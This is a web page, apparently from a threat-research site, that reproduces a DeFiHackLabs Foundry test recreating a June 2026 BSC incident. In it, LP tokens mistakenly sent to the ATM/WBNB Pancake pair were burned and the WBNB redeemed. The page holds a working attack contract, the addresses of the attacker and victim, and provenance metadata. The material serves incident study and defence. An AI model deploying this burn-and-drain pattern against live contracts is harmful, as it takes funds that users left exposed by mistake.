Public reproduction file
src/test/2026-06/ATM_LP_Burn_exp.sol
Public reproduction file for dataset entry ATM.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1,603.99 WBNB8// Attacker : 0x0eb4075c87ccd23a7ae1e00d77b043e4e8cc58949// Attack Contract : 0x48b549e6b551c151bd392bb9acab1f88263adf4810// Vulnerable Contract : 0x9753a64fb7c233fdc43f04dab9cca88e1e229eba11// Victim : 0xbe8351c14e5108a57a545dfa8669fa31aa6adc6812// Attack Tx : https://bscscan.com/tx/0x4e9f3dc3ce3c0a6aa19dae0f1384ff46e801b433b7e3bc4c780de486db6c950a13// Liquidity Setup Tx : https://bscscan.com/tx/0x2bb7f486730d7d6a271a2a0c18cec45c89f447a95e956415f18d2a0671ec789c14// Victim LP Transfer Tx : https://bscscan.com/tx/0x5c27edc326e38641d8ce6093cd7f15ae5fca039f5fb988b7f10cb432e6e3a05616// @Info17// Vulnerable Contract Code : https://bscscan.com/address/0x9753a64fb7c233fdc43f04dab9cca88e1e229eba#code19// @Analysis20// Twitter Guy : https://x.com/TenArmorAlert/status/206899374893615120921//22// Victim 0xbe83 first added WBNB/ATM liquidity, then mistakenly transferred the resulting LP tokens23// to the pair itself. Because Pancake V2 burn redeems pair-held LP balance, the bot could burn that LP,24// receive the underlying WBNB and ATM, pay most WBNB as native BNB to the builder, and keep the rest.26address constant ATTACKER = 0x0EB4075C87cCD23a7AE1E00D77B043e4e8cC5894;27address constant LP_OWNER = 0xBE8351C14e5108A57A545DFA8669Fa31aA6aDC68;28address constant ATM_WBNB_PAIR = 0x9753A64fB7C233Fdc43f04daB9CcA88e1e229eBA;29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;30address constant ATM_TOKEN = 0xFdC76B8b2F775656E8A867FcC3282c969D2d86b0;31address constant FINAL_PROFIT_RECEIVER = 0xfBa52f861E79C46333A308ba8f86bf136A44B2D3;32address constant BUILDER_PAYMENT_RECEIVER = 0x1266C6bE60392A8Ff346E8d5ECCd3E69dD9c5F20;33address constant DUST_WBNB_RECEIVER = 0xa44729b6039C1A9Aa3D8e6AD063d66e7ca18B06b;35contract ContractTest is BaseTestWithBalanceLog {36 function setUp() public {37 uint256 forkBlock = 105_692_847;38 vm.createSelectFork("bsc", forkBlock);39 fundingToken = WBNB_TOKEN;40 attacker = FINAL_PROFIT_RECEIVER;42 vm.label(ATTACKER, "Attacker EOA");43 vm.label(LP_OWNER, "Victim / mistaken LP owner");44 vm.label(ATM_WBNB_PAIR, "ATM/WBNB Pancake pair");45 vm.label(WBNB_TOKEN, "WBNB");46 vm.label(ATM_TOKEN, "ATM");47 vm.label(FINAL_PROFIT_RECEIVER, "Final WBNB receiver");48 vm.label(BUILDER_PAYMENT_RECEIVER, "Builder payment receiver");49 vm.label(DUST_WBNB_RECEIVER, "Dust WBNB receiver");50 }52 function testExploit() public balanceLog {53 AtmLpBurnExploit exploit = new AtmLpBurnExploit(FINAL_PROFIT_RECEIVER);55 uint256 receiverBefore = IERC20(WBNB_TOKEN).balanceOf(FINAL_PROFIT_RECEIVER);56 uint256 pairHeldLp = IERC20(ATM_WBNB_PAIR).balanceOf(ATM_WBNB_PAIR);57 assertGt(pairHeldLp, 400_000 ether, "pair should hold mistaken LP");58 assertEq(IERC20(ATM_WBNB_PAIR).balanceOf(LP_OWNER), 0, "LP owner already sent LP");60 vm.prank(ATTACKER);61 exploit.attack();63 uint256 profit = IERC20(WBNB_TOKEN).balanceOf(FINAL_PROFIT_RECEIVER) - receiverBefore;64 assertGt(profit, 32 ether, "final receiver WBNB profit");65 assertEq(IERC20(ATM_WBNB_PAIR).balanceOf(ATM_WBNB_PAIR), 0, "pair LP burned");66 }67}69contract AtmLpBurnExploit {70 address private immutable profitReceiver;72 constructor(73 address profitReceiver_74 ) {75 profitReceiver = profitReceiver_;76 }78 receive() external payable {}80 function attack() external {81 require(msg.sender == ATTACKER, "only attacker");83 IPancakePair pair = IPancakePair(ATM_WBNB_PAIR);85 // step 1: burn the LP balance that the victim mistakenly transferred to the pair.86 (uint256 wbnbAmount, uint256 atmAmount) = pair.burn(address(this));87 require(wbnbAmount > 1600 ether, "WBNB not redeemed");88 require(atmAmount > 99_000_000 ether, "ATM not redeemed");90 // step 2: return the ATM side and reproduce the trace's WBNB dust swap.91 IERC20(ATM_TOKEN).transfer(ATM_WBNB_PAIR, atmAmount);92 uint256 wbnbDustOut = IERC20(WBNB_TOKEN).balanceOf(ATM_WBNB_PAIR) - 1;93 pair.swap(wbnbDustOut, 0, DUST_WBNB_RECEIVER, "");95 // step 3: reproduce the observed WBNB self-transfer and builder-payment split.96 uint256 wbnbBalance = IERC20(WBNB_TOKEN).balanceOf(address(this));97 IERC20(WBNB_TOKEN).transfer(address(this), wbnbBalance);99 uint256 builderPayment = 1_571_909_430_014_800_601_194;100 IWBNB(payable(WBNB_TOKEN)).withdraw(builderPayment);101 (bool success,) = payable(BUILDER_PAYMENT_RECEIVER).call{value: builderPayment}("");102 require(success, "builder payment failed");104 // step 4: forward the remaining WBNB to the trace's final profit receiver.105 IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this)));106 }107}Analysis
Dataset entry
Public Foundry test for “ATM” (2026-06-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0eb4075c87ccd23a7ae1e00d77b043e4e8cc5894
- Attack Contract
0x48b549e6b551c151bd392bb9acab1f88263adf48
- Vulnerable Contract
0x9753a64fb7c233fdc43f04dab9cca88e1e229eba
- Victim
0xbe8351c14e5108a57a545dfa8669fa31aa6adc68
- Victim
0x5c27edc326e38641d8ce6093cd7f15ae5fca039f
- Attack Tx
0x4e9f3dc3ce3c0a6aa19dae0f1384ff46e801b433b7e3bc4c780de486db6c950a
- Twitter: https://x.com/TenArmorAlert/status/2068993748936151209
- Explorer: https://bscscan.com/tx/0x2bb7f486730d7d6a271a2a0c18cec45c89f447a95e956415f18d2a0671ec789c
- Explorer: https://bscscan.com/tx/0x5c27edc326e38641d8ce6093cd7f15ae5fca039f5fb988b7f10cb432e6e3a056
- Explorer: https://bscscan.com/address/0x9753a64fb7c233fdc43f04dab9cca88e1e229eba#code
File record
- Name
- ATM
- Path
- src/test/2026-06/ATM_LP_Burn_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 92a65bb80aa846181237a58189aa49bd3d1a8182
- Language
- Solidity
- Size
- 108 lines
- Date
- 2026-06-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/ATM_LP_Burn_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 92a65bb80aa846181237a58189aa49bd3d1a8182, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.